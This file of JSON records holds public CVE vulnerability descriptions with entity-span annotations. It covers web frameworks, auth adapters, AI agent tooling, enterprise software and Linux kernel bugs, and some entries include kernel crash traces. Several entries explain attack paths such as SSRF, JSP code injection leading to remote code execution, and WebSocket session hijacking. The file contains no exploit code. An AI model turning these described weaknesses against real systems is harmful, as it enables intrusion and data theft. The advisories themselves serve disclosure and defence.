{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.13 and 8.6.39, the OAuth2 authentication adapter does not correctly validate app IDs when appidField and appIds are configured. During app ID validation, a malformed value is sent to the token introspection endpoint instead of the user's actual access token. Depending on the introspection endpoint's behavior, this could either cause all OAuth2 logins to fail, or allow authentication from disallowed app contexts if the endpoint returns valid-looking data for the malformed request. Deployments using the OAuth2 adapter with appidField and appIds configured are affected. This vulnerability is fixed in 9.6.0-alpha.13 and 8.6.39.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32269"}}
{"text": "Summary\nWhen trustProxy is configured with a restrictive trust function (e.g., a specific IP like trustProxy: '10.0.0.1', a subnet, a hop count, or a custom function), the request.protocol and request.host getters read X-Forwarded-Proto and X-Forwarded-Host headers from any connection — including connections from untrusted IPs. This allows an attacker connecting directly to Fastify (bypassing the proxy) to spoof both the protocol and host seen by the application.\n\nAffected Versions\nfastify <= 5.8.2\n\nImpact\nApplications using request.protocol or request.host for security decisions (HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, host-based routing) are affected when trustProxy is configured with a restrictive trust function.\n\nWhen trustProxy: true (trust everything), both host and protocol trust all forwarded headers — this is expected behavior. The vulnerability only manifests with restrictive trust configurations.", "spans": {"IP_ADDRESS: 10.0.0.1": [[111, 119]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3635"}}
{"text": "Spin is an open source developer tool for building and running serverless applications powered by WebAssembly. When Spin is configured to allow connections to a database or web server which could return responses of unbounded size (e.g. tables with many rows or large content bodies), Spin may in some cases attempt to buffer the entire response before delivering it to the guest, which can lead to the host process running out of memory, panicking, and crashing. In addition, a malicious guest application could incrementally insert a large number of rows or values into a database and then retrieve them all in a single query, leading to large host allocations. Spin 3.6.1, SpinKube 0.6.2, and `containerd-shim-spin` 0.22.1 have been patched to address the issue. As a workaround, configure Spin to only allow access to trusted databases and HTTP servers which limit response sizes.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27887"}}
{"text": "PraisonAI is a multi-agent teams system. In versions below 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents, the browser bridge (praisonai browser start) is vulnerable to unauthenticated remote session hijacking due to missing authentication and a bypassable origin check on its /ws WebSocket endpoint. The server binds to 0.0.0.0 by default and only validates the Origin header when one is present, meaning any non-browser client that omits the header is accepted without restriction. An unauthenticated network attacker can connect, send a start_session message, and the server will route it to the first idle browser-extension WebSocket (effectively hijacking that session) and then broadcast all resulting automation actions and outputs back to the attacker. This enables unauthorized remote control of connected browser automation sessions, leakage of sensitive page context and automation results, and misuse of model-backed browser actions in any environment where the bridge is network-reachable. This issue has been fixed in versions 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents.", "spans": {"IP_ADDRESS: 0.0.0.0": [[326, 333]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40289"}}
{"text": "Akeneo PIM is an open source Product Information Management (PIM). Akeneo PIM Community Edition versions before v5.0.119 and v6.0.53 allows remote authenticated users to execute arbitrary PHP code on the server by uploading a crafted image. Akeneo PIM Community Edition after the versions aforementioned provides patched Apache HTTP server configuration file, for docker setup and in documentation sample, to fix this vulnerability.   Community Edition users must change their Apache HTTP server configuration accordingly to be protected. The patch for Cloud Based Akeneo PIM Services customers has been applied since 30th October 2022. Users are advised to upgrade. Users unable to upgrade may  Replace any reference to `<FilesMatch \\.php$>` in their apache httpd configurations with: `<Location \"/index.php\">`.", "spans": {"FILEPATH: index.php": [[799, 808]], "SYSTEM: PHP": [[188, 191]], "ORGANIZATION: Apache": [[321, 327], [477, 483]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46157"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: schedutil: Use kobject release() method to free sugov_tunables\n\nThe struct sugov_tunables is protected by the kobject, so we can't free\nit directly. Otherwise we would get a call trace like this:\n  ODEBUG: free active (active state 0) object type: timer_list hint: delayed_work_timer_fn+0x0/0x30\n  WARNING: CPU: 3 PID: 720 at lib/debugobjects.c:505 debug_print_object+0xb8/0x100\n  Modules linked in:\n  CPU: 3 PID: 720 Comm: a.sh Tainted: G        W         5.14.0-rc1-next-20210715-yocto-standard+ #507\n  Hardware name: Marvell OcteonTX CN96XX board (DT)\n  pstate: 40400009 (nZcv daif +PAN -UAO -TCO BTYPE=--)\n  pc : debug_print_object+0xb8/0x100\n  lr : debug_print_object+0xb8/0x100\n  sp : ffff80001ecaf910\n  x29: ffff80001ecaf910 x28: ffff00011b10b8d0 x27: ffff800011043d80\n  x26: ffff00011a8f0000 x25: ffff800013cb3ff0 x24: 0000000000000000\n  x23: ffff80001142aa68 x22: ffff800011043d80 x21: ffff00010de46f20\n  x20: ffff800013c0c520 x19: ffff800011d8f5b0 x18: 0000000000000010\n  x17: 6e6968207473696c x16: 5f72656d6974203a x15: 6570797420746365\n  x14: 6a626f2029302065 x13: 303378302f307830 x12: 2b6e665f72656d69\n  x11: ffff8000124b1560 x10: ffff800012331520 x9 : ffff8000100ca6b0\n  x8 : 000000000017ffe8 x7 : c0000000fffeffff x6 : 0000000000000001\n  x5 : ffff800011d8c000 x4 : ffff800011d8c740 x3 : 0000000000000000\n  x2 : ffff0001108301c0 x1 : ab3c90eedf9c0f00 x0 : 0000000000000000\n  Call trace:\n   debug_print_object+0xb8/0x100\n   __debug_check_no_obj_freed+0x1c0/0x230\n   debug_check_no_obj_freed+0x20/0x88\n   slab_free_freelist_hook+0x154/0x1c8\n   kfree+0x114/0x5d0\n   sugov_exit+0xbc/0xc0\n   cpufreq_exit_governor+0x44/0x90\n   cpufreq_set_policy+0x268/0x4a8\n   store_scaling_governor+0xe0/0x128\n   store+0xc0/0xf0\n   sysfs_kf_write+0x54/0x80\n   kernfs_fop_write_iter+0x128/0x1c0\n   new_sync_write+0xf0/0x190\n   vfs_write+0x2d4/0x478\n   ksys_write+0x74/0x100\n   __arm64_sys_write+0x24/0x30\n   invoke_syscall.constprop.0+0x54/0xe0\n   do_el0_svc+0x64/0x158\n   el0_svc+0x2c/0xb0\n   el0t_64_sync_handler+0xb0/0xb8\n   el0t_64_sync+0x198/0x19c\n  irq event stamp: 5518\n  hardirqs last  enabled at (5517): [<ffff8000100cbd7c>] console_unlock+0x554/0x6c8\n  hardirqs last disabled at (5518): [<ffff800010fc0638>] el1_dbg+0x28/0xa0\n  softirqs last  enabled at (5504): [<ffff8000100106e0>] __do_softirq+0x4d0/0x6c0\n  softirqs last disabled at (5483): [<ffff800010049548>] irq_exit+0x1b0/0x1b8\n\nSo split the original sugov_tunables_free() into two functions,\nsugov_clear_global_tunables() is just used to clear the global_tunables\nand the new sugov_tunables_free() is used as kobj_type::release to\nrelease the sugov_tunables safely.", "spans": {"FILEPATH: debugobjects.c": [[408, 422]], "FILEPATH: a.sh": [[502, 506]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47387"}}
{"text": "Jetty is a java based web server and servlet engine. In affected versions servlets with multipart support (e.g. annotated with `@MultipartConfig`) that call `HttpServletRequest.getParameter()` or `HttpServletRequest.getParts()` may cause `OutOfMemoryError` when the client sends a multipart request with a part that has a name but no filename and very large content. This happens even with the default settings of `fileSizeThreshold=0` which should stream the whole part content to disk. An attacker client may send a large multipart request and cause the server to throw `OutOfMemoryError`. However, the server may be able to recover after the `OutOfMemoryError` and continue its service -- although it may take some time. This issue has been patched in versions 9.4.51, 10.0.14, and 11.0.14. Users are advised to upgrade. Users unable to upgrade may set the multipart parameter `maxRequestSize` which must be set to a non-negative value, so the whole multipart content is limited (although still read into memory).", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26048"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.61 and 9.6.0-alpha.55, an authenticated user calling GET /users/me receives unsanitized auth data, including sensitive credentials such as MFA TOTP secrets and recovery codes. The endpoint internally uses master-level authentication for the session query, and the master context leaks through to the user data, bypassing auth adapter sanitization. An attacker who obtains a user's session token can extract MFA secrets to generate valid TOTP codes indefinitely. This issue has been patched in versions 8.6.61 and 9.6.0-alpha.55.", "spans": {"FILEPATH: /users/me": [[183, 192]], "FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33627"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfou: Fix null-ptr-deref in GRO.\n\nWe observed a null-ptr-deref in fou_gro_receive() while shutting down\na host.  [0]\n\nThe NULL pointer is sk->sk_user_data, and the offset 8 is of protocol\nin struct fou.\n\nWhen fou_release() is called due to netns dismantle or explicit tunnel\nteardown, udp_tunnel_sock_release() sets NULL to sk->sk_user_data.\nThen, the tunnel socket is destroyed after a single RCU grace period.\n\nSo, in-flight udp4_gro_receive() could find the socket and execute the\nFOU GRO handler, where sk->sk_user_data could be NULL.\n\nLet's use rcu_dereference_sk_user_data() in fou_from_sock() and add NULL\nchecks in FOU GRO handlers.\n\n[0]:\nBUG: kernel NULL pointer dereference, address: 0000000000000008\n PF: supervisor read access in kernel mode\n PF: error_code(0x0000) - not-present page\nPGD 80000001032f4067 P4D 80000001032f4067 PUD 103240067 PMD 0\nSMP PTI\nCPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.10.216-204.855.amzn2.x86_64 #1\nHardware name: Amazon EC2 c5.large/, BIOS 1.0 10/16/2017\nRIP: 0010:fou_gro_receive (net/ipv4/fou.c:233) [fou]\nCode: 41 5f c3 cc cc cc cc e8 e7 2e 69 f4 0f 1f 80 00 00 00 00 0f 1f 44 00 00 49 89 f8 41 54 48 89 f7 48 89 d6 49 8b 80 88 02 00 00 <0f> b6 48 08 0f b7 42 4a 66 25 fd fd 80 cc 02 66 89 42 4a 0f b6 42\nRSP: 0018:ffffa330c0003d08 EFLAGS: 00010297\nRAX: 0000000000000000 RBX: ffff93d9e3a6b900 RCX: 0000000000000010\nRDX: ffff93d9e3a6b900 RSI: ffff93d9e3a6b900 RDI: ffff93dac2e24d08\nRBP: ffff93d9e3a6b900 R08: ffff93dacbce6400 R09: 0000000000000002\nR10: 0000000000000000 R11: ffffffffb5f369b0 R12: ffff93dacbce6400\nR13: ffff93dac2e24d08 R14: 0000000000000000 R15: ffffffffb4edd1c0\nFS:  0000000000000000(0000) GS:ffff93daee800000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000008 CR3: 0000000102140001 CR4: 00000000007706f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <IRQ>\n ? show_trace_log_lvl (arch/x86/kernel/dumpstack.c:259)\n ? __die_body.cold (arch/x86/kernel/dumpstack.c:478 arch/x86/kernel/dumpstack.c:420)\n ? no_context (arch/x86/mm/fault.c:752)\n ? exc_page_fault (arch/x86/include/asm/irqflags.h:49 arch/x86/include/asm/irqflags.h:89 arch/x86/mm/fault.c:1435 arch/x86/mm/fault.c:1483)\n ? asm_exc_page_fault (arch/x86/include/asm/idtentry.h:571)\n ? fou_gro_receive (net/ipv4/fou.c:233) [fou]\n udp_gro_receive (include/linux/netdevice.h:2552 net/ipv4/udp_offload.c:559)\n udp4_gro_receive (net/ipv4/udp_offload.c:604)\n inet_gro_receive (net/ipv4/af_inet.c:1549 (discriminator 7))\n dev_gro_receive (net/core/dev.c:6035 (discriminator 4))\n napi_gro_receive (net/core/dev.c:6170)\n ena_clean_rx_irq (drivers/amazon/net/ena/ena_netdev.c:1558) [ena]\n ena_io_poll (drivers/amazon/net/ena/ena_netdev.c:1742) [ena]\n napi_poll (net/core/dev.c:6847)\n net_rx_action (net/core/dev.c:6917)\n __do_softirq (arch/x86/include/asm/jump_label.h:25 include/linux/jump_label.h:200 include/trace/events/irq.h:142 kernel/softirq.c:299)\n asm_call_irq_on_stack (arch/x86/entry/entry_64.S:809)\n</IRQ>\n do_softirq_own_stack (arch/x86/include/asm/irq_stack.h:27 arch/x86/include/asm/irq_stack.h:77 arch/x86/kernel/irq_64.c:77)\n irq_exit_rcu (kernel/softirq.c:393 kernel/softirq.c:423 kernel/softirq.c:435)\n common_interrupt (arch/x86/kernel/irq.c:239)\n asm_common_interrupt (arch/x86/include/asm/idtentry.h:626)\nRIP: 0010:acpi_idle_do_entry (arch/x86/include/asm/irqflags.h:49 arch/x86/include/asm/irqflags.h:89 drivers/acpi/processor_idle.c:114 drivers/acpi/processor_idle.c:575)\nCode: 8b 15 d1 3c c4 02 ed c3 cc cc cc cc 65 48 8b 04 25 40 ef 01 00 48 8b 00 a8 08 75 eb 0f 1f 44 00 00 0f 00 2d d5 09 55 00 fb f4 <fa> c3 cc cc cc cc e9 be fc ff ff 66 66 2e 0f 1f 84 00 00 00 00 00\nRSP: 0018:ffffffffb5603e58 EFLAGS: 00000246\nRAX: 0000000000004000 RBX: ffff93dac0929c00 RCX: ffff93daee833900\nRDX: ffff93daee800000 RSI: ffff93d\n---truncated---", "spans": {"FILEPATH: /16/2017": [[1058, 1066]], "FILEPATH: /ipv4/fou.c": [[1097, 1108], [2457, 2468]], "FILEPATH: /x86/kernel/dumpstack.c": [[2080, 2103], [2133, 2156], [2165, 2188]], "FILEPATH: /x86/mm/fault.c": [[2213, 2228], [2327, 2342], [2352, 2367]], "FILEPATH: /x86/include/asm/irqflags.h": [[2257, 2284], [2292, 2319], [3503, 3530], [3538, 3565]], "FILEPATH: /x86/include/asm/idtentry.h": [[2401, 2428], [3436, 3463]], "FILEPATH: /linux/netdevice.h": [[2505, 2523]], "FILEPATH: /ipv4/udp_offload.c": [[2532, 2551], [2579, 2598]], "FILEPATH: /ipv4/af_inet.c": [[2626, 2641]], "FILEPATH: /core/dev.c": [[2687, 2698], [2745, 2756], [2907, 2918], [2944, 2955]], "FILEPATH: /amazon/net/ena/ena_netdev.c": [[2789, 2817], [2851, 2879]], "FILEPATH: /x86/include/asm/jump_label.h": [[2981, 3010]], "FILEPATH: /linux/jump_label.h": [[3021, 3040]], "FILEPATH: /trace/events/irq.h": [[3052, 3071]], "FILEPATH: /x86/entry/entry_64.S": [[3126, 3147]], "FILEPATH: /x86/include/asm/irq_stack.h": [[3187, 3215], [3223, 3251]], "FILEPATH: /x86/kernel/irq_64.c": [[3259, 3279]], "FILEPATH: /x86/kernel/irq.c": [[3386, 3403]], "FILEPATH: /acpi/processor_idle.c": [[3576, 3598], [3610, 3632]], "FILEPATH: softirq.c": [[3083, 3092], [3306, 3315], [3327, 3336], [3348, 3357]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Amazon": [[1025, 1031]], "VULNERABILITY: NULL pointer dereference": [[727, 751]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46763"}}
{"text": "Syft is a a CLI tool and Go library for generating a Software Bill of Materials (SBOM) from container images and filesystems. Syft versions before v1.42.3 would not properly cleanup temporary storage if the temporary storage was exhausted during a scan. When scanning archives Syft will unpack those archives into temporary storage then inspect the unpacked contents. Under normal operation Syft will remove the temporary data it writes after completing a scan. This vulnerability would affect users of Syft that were scanning content that could cause Syft to fill the temporary storage that would then cause Syft to raise an error and exit. When the error is triggered Syft would exit without properly removing the temporary files in use. In our testing this was most easily reproduced by scanning very large artifacts or highly compressed artifacts such as a zipbomb. Because Syft would not clean up its temporary files, the result would be filling temporary file storage preventing future runs of Syft or other system utilities that rely on temporary storage being available. The patch has been released in v1.42.3. Syft now cleans up temporary files when an error condition is encountered. There are no workarounds for this vulnerability in Syft. Users that find their temporary storage depleted can manually remove the temporary files.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33481"}}
{"text": "A vulnerability exists in a SDM600 endpoint.\nAn attacker could exploit this vulnerability by running multiple parallel requests, the SDM600 web services become busy rendering the application unresponsive.\nThis issue affects: All SDM600 versions prior to version 1.2 FP3 HF4 (Build Nr. 1.2.23000.291)\n\n \n\nList of CPEs:\n\n\n  *  cpe:2.3:a:hitachienergy:sdm600:1.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.9002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.10002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.11002.149:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.12002.222:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.13002.72:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.44:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.92:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.108:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.182:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.342:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.447:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.481:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.506:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.566:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.20000.3174:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.291:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.931:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.105:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.23000.291:*:*:*:*:*:*:*", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3686"}}
{"text": "SAP MII allows users to create dashboards and save them as JSP through the SSCE (Self Service Composition Environment). An attacker can intercept a request to the server, inject malicious JSP code in the request and forward to server. When this dashboard is opened by users having at least SAP_XMII Developer role, malicious content in the dashboard gets executed, leading to remote code execution in the server, which allows privilege escalation. The malicious JSP code can contain certain OS commands, through which an attacker can read sensitive files in the server, modify files or even delete contents in the server thus compromising the confidentiality, integrity and availability of the server hosting the SAP MII application. Also, an attacker authenticated as a developer can use the application to upload and execute a file which will permit them to execute operating systems commands completely compromising the server hosting the application.", "spans": {"ORGANIZATION: SAP": [[0, 3], [713, 716]], "VULNERABILITY: remote code execution": [[376, 397]], "VULNERABILITY: privilege escalation": [[426, 446]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21480"}}
{"text": "In IQrouter through 3.3.1, the Lua function reset_password in the web-panel allows remote attackers to change the root password arbitrarily. Note: The vendor claims that this vulnerability can only occur on a brand-new network that, after initiating the forced initial configuration (which has a required step for setting a secure password on the system), makes this CVE invalid. This vulnerability is “true for any unconfigured release of OpenWRT, and true of many other new Linux distros prior to being configured for the first time”", "spans": {"SYSTEM: Linux": [[476, 481]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11966"}}
{"text": "Weave GitOps is a simple open source developer platform for people who want cloud native applications, without needing Kubernetes expertise.  A vulnerability in GitOps run could allow a local user or process to alter a Kubernetes cluster's resources. GitOps run has a local S3 bucket which it uses for synchronizing files that are later applied against a Kubernetes cluster. Its endpoint had no security controls to block unauthorized access, therefore allowing local users (and processes) on the same machine to see and alter the bucket content. By leveraging this vulnerability, an attacker could pick a workload of their choosing and inject it into the S3 bucket, which resulted in the successful deployment in the target cluster, without the need to provide any credentials to either the S3 bucket nor the target Kubernetes cluster. There are no known workarounds for this issue, please upgrade. This vulnerability has been fixed by commits 75268c4 and 966823b. Users should upgrade to Weave GitOps version >= v0.12.0 released on 08/12/2022.\n\n### Workarounds\nThere is no workaround for this vulnerability.\n\n### References\nDisclosed by Paulo Gomes, Senior Software Engineer, Weaveworks.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Weave GitOps repository](https://github.com/weaveworks/weave-gitops)\n- Email us at [support@weave.works](mailto:support@weave.works)", "spans": {"URL: https://github.com/weaveworks/weave-gitops": [[1321, 1363]], "EMAIL: support@weave.works": [[1380, 1399], [1408, 1427]], "FILEPATH: /12/2022.": [[1036, 1045]], "SYSTEM: Kubernetes": [[119, 129], [219, 229], [355, 365], [817, 827]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23508"}}
{"text": "Movary is a self hosted web app to track and rate a user's watched movies. Prior to version 0.71.1, an ordinary authenticated user can trigger server-side requests to arbitrary internal targets through `POST /settings/jellyfin/server-url-verify`. The endpoint accepts a user-controlled URL, appends `/system/info/public`, and sends a server-side HTTP request with Guzzle. Because there is no restriction on internal hosts, loopback addresses, or private network ranges, this can be abused for SSRF and internal network probing. Any ordinary authenticated user can use this endpoint to make the server connect to arbitrary internal targets and distinguish between different network states. This enables SSRF-based internal reconnaissance, including host discovery, port-state probing, and service fingerprinting. In certain deployments, it may also be usable to reach internal administrative services or cloud metadata endpoints that are not directly accessible from the outside. Version 0.71.1 fixes the issue.", "spans": {"FILEPATH: /settings/jellyfin/server-url-verify": [[208, 244]], "FILEPATH: /system/info/public": [[300, 319]], "VULNERABILITY: SSRF": [[493, 497], [702, 706]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40348"}}
{"text": "Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Print Server). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data as well as unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [296, 302], [444, 450], [647, 653], [760, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2094"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Keytool). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [153, 157], [365, 369], [520, 524], [616, 620], [673, 677], [714, 718], [819, 823]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [189, 195], [374, 380], [529, 535]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35564"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: use memalloc_nofs_save() in page_cache_ra_order()\n\nSee commit f2c817bed58d (\"mm: use memalloc_nofs_save in readahead path\"),\nensure that page_cache_ra_order() do not attempt to reclaim file-backed\npages too, or it leads to a deadlock, found issue when test ext4 large\nfolio.\n\n INFO: task DataXceiver for:7494 blocked for more than 120 seconds.\n \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:DataXceiver for state:D stack:0     pid:7494  ppid:1      flags:0x00000200\n Call trace:\n  __switch_to+0x14c/0x240\n  __schedule+0x82c/0xdd0\n  schedule+0x58/0xf0\n  io_schedule+0x24/0xa0\n  __folio_lock+0x130/0x300\n  migrate_pages_batch+0x378/0x918\n  migrate_pages+0x350/0x700\n  compact_zone+0x63c/0xb38\n  compact_zone_order+0xc0/0x118\n  try_to_compact_pages+0xb0/0x280\n  __alloc_pages_direct_compact+0x98/0x248\n  __alloc_pages+0x510/0x1110\n  alloc_pages+0x9c/0x130\n  folio_alloc+0x20/0x78\n  filemap_alloc_folio+0x8c/0x1b0\n  page_cache_ra_order+0x174/0x308\n  ondemand_readahead+0x1c8/0x2b8\n  page_cache_async_ra+0x68/0xb8\n  filemap_readahead.isra.0+0x64/0xa8\n  filemap_get_pages+0x3fc/0x5b0\n  filemap_splice_read+0xf4/0x280\n  ext4_file_splice_read+0x2c/0x48 [ext4]\n  vfs_splice_read.part.0+0xa8/0x118\n  splice_direct_to_actor+0xbc/0x288\n  do_splice_direct+0x9c/0x108\n  do_sendfile+0x328/0x468\n  __arm64_sys_sendfile64+0x8c/0x148\n  invoke_syscall+0x4c/0x118\n  el0_svc_common.constprop.0+0xc8/0xf0\n  do_el0_svc+0x24/0x38\n  el0_svc+0x4c/0x1f8\n  el0t_64_sync_handler+0xc0/0xc8\n  el0t_64_sync+0x188/0x190", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[428, 467]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36882"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nigc: Fix Kernel Panic during ndo_tx_timeout callback\n\nThe Xeon validation group has been carrying out some loaded tests\nwith various HW configurations, and they have seen some transmit\nqueue time out happening during the test. This will cause the\nreset adapter function to be called by igc_tx_timeout().\nSimilar race conditions may arise when the interface is being brought\ndown and up in igc_reinit_locked(), an interrupt being generated, and\nigc_clean_tx_irq() being called to complete the TX.\n\nWhen the igc_tx_timeout() function is invoked, this patch will turn\noff all TX ring HW queues during igc_down() process. TX ring HW queues\nwill be activated again during the igc_configure_tx_ring() process\nwhen performing the igc_up() procedure later.\n\nThis patch also moved existing igc_disable_tx_ring_hw() to avoid using\nforward declaration.\n\nKernel trace:\n[ 7678.747813] ------------[ cut here ]------------\n[ 7678.757914] NETDEV WATCHDOG: enp1s0 (igc): transmit queue 2 timed out\n[ 7678.770117] WARNING: CPU: 0 PID: 13 at net/sched/sch_generic.c:525 dev_watchdog+0x1ae/0x1f0\n[ 7678.784459] Modules linked in: xt_conntrack nft_chain_nat xt_MASQUERADE xt_addrtype nft_compat\nnf_tables nfnetlink br_netfilter bridge stp llc overlay dm_mod emrcha(PO) emriio(PO) rktpm(PO)\ncegbuf_mod(PO) patch_update(PO) se(PO) sgx_tgts(PO) mktme(PO) keylocker(PO) svtdx(PO) svfs_pci_hotplug(PO)\nvtd_mod(PO) davemem(PO) svmabort(PO) svindexio(PO) usbx2(PO) ehci_sched(PO) svheartbeat(PO) ioapic(PO)\nsv8259(PO) svintr(PO) lt(PO) pcierootport(PO) enginefw_mod(PO) ata(PO) smbus(PO) spiflash_cdf(PO) arden(PO)\ndsa_iax(PO) oobmsm_punit(PO) cpm(PO) svkdb(PO) ebg_pch(PO) pch(PO) sviotargets(PO) svbdf(PO) svmem(PO)\nsvbios(PO) dram(PO) svtsc(PO) targets(PO) superio(PO) svkernel(PO) cswitch(PO) mcf(PO) pentiumIII_mod(PO)\nfs_svfs(PO) mdevdefdb(PO) svfs_os_services(O) ixgbe mdio mdio_devres libphy emeraldrapids_svdefs(PO)\nregsupport(O) libnvdimm nls_cp437 snd_hda_codec_realtek snd_hda_codec_generic ledtrig_audio snd_hda_intel\nsnd_intel_dspcfg snd_hda_codec snd_hwdep x86_pkg_temp_thermal snd_hda_core snd_pcm snd_timer isst_if_mbox_pci\n[ 7678.784496]  input_leds isst_if_mmio sg snd isst_if_common soundcore wmi button sad9(O) drm fuse backlight\nconfigfs efivarfs ip_tables x_tables vmd sdhci led_class rtl8150 r8152 hid_generic pegasus mmc_block usbhid\nmmc_core hid megaraid_sas ixgb igb i2c_algo_bit ice i40e hpsa scsi_transport_sas e1000e e1000 e100 ax88179_178a\nusbnet xhci_pci sd_mod xhci_hcd t10_pi crc32c_intel crc64_rocksoft igc crc64 crc_t10dif usbcore\ncrct10dif_generic ptp crct10dif_common usb_common pps_core\n[ 7679.200403] RIP: 0010:dev_watchdog+0x1ae/0x1f0\n[ 7679.210201] Code: 28 e9 53 ff ff ff 4c 89 e7 c6 05 06 42 b9 00 01 e8 17 d1 fb ff 44 89 e9 4c\n89 e6 48 c7 c7 40 ad fb 81 48 89 c2 e8 52 62 82 ff <0f> 0b e9 72 ff ff ff 65 8b 05 80 7d 7c 7e\n89 c0 48 0f a3 05 0a c1\n[ 7679.245438] RSP: 0018:ffa00000001f7d90 EFLAGS: 00010282\n[ 7679.256021] RAX: 0000000000000000 RBX: ff11000109938440 RCX: 0000000000000000\n[ 7679.268710] RDX: ff11000361e26cd8 RSI: ff11000361e1b880 RDI: ff11000361e1b880\n[ 7679.281314] RBP: 